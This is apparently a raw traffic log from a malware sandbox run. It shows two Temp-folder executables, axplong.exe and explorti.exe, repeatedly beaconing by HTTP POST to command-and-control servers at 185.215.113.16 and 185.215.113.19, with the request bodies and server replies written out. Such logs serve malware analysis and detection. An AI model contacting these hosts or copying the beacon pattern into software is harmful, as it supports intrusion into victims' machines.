Jul 27, 2024 03:20:12.539113045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49783	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:12.325090885 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:13.078335047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:13.082240105 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:13.338908911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49784	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:12.656395912 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:13.414776087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:13.415790081 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:13.665949106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49785	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:13.448013067 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:14.217811108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:14.218511105 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:14.475655079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49786	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:13.775774956 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:14.521780014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:14.522619963 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:14.771826982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49787	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:14.590701103 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:15.347659111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:15.359014034 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:15.608809948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49788	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:14.885409117 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:15.631598949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:15.661406994 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:15.908071041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49789	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:15.730243921 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:16.479911089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:16.480737925 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:16.729816914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49790	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:16.026271105 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:16.825665951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:16.826649904 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:17.077316999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49791	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:16.856466055 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:17.612124920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:17.614795923 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:17.863087893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49792	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:17.198081017 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:17.971913099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:17.972790003 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:18.330949068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49793	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:17.979458094 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:18.744224072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:18.747523069 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:18.999905109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49794	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:18.454878092 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:19.210652113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:19.211349964 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:19.459836960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49795	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:19.120791912 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:19.959043980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
